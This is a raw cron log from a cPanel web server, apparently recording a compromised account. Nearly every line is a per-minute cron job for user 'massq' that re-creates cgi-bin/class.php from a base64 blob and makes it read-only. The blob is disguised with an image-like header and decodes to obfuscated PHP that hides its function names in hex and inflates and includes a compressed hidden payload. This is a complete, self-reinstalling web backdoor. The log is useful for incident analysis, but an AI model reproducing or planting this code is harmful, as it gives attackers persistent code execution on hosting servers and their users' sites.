Nov  9 06:05:01 server CROND[4291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:06:01 server CROND[5128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:07:01 server CROND[5947]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:08:01 server CROND[6761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:09:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 06:09:01 server CROND[7574]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:10:01 server CROND[8429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:10:01 server CROND[8431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 06:10:01 server CROND[8433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:10:01 server CROND[8432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:11:01 server CROND[9510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:12:01 server CROND[10269]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 06:12:01 server CROND[10270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:13:01 server CROND[11131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:14:01 server CROND[11960]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:15:01 server CROND[12767]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:15:01 server CROND[12768]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:15:01 server CROND[12770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:15:01 server CROND[12772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:15:01 server CROND[12774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:16:01 server CROND[13233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:17:01 server CROND[14060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
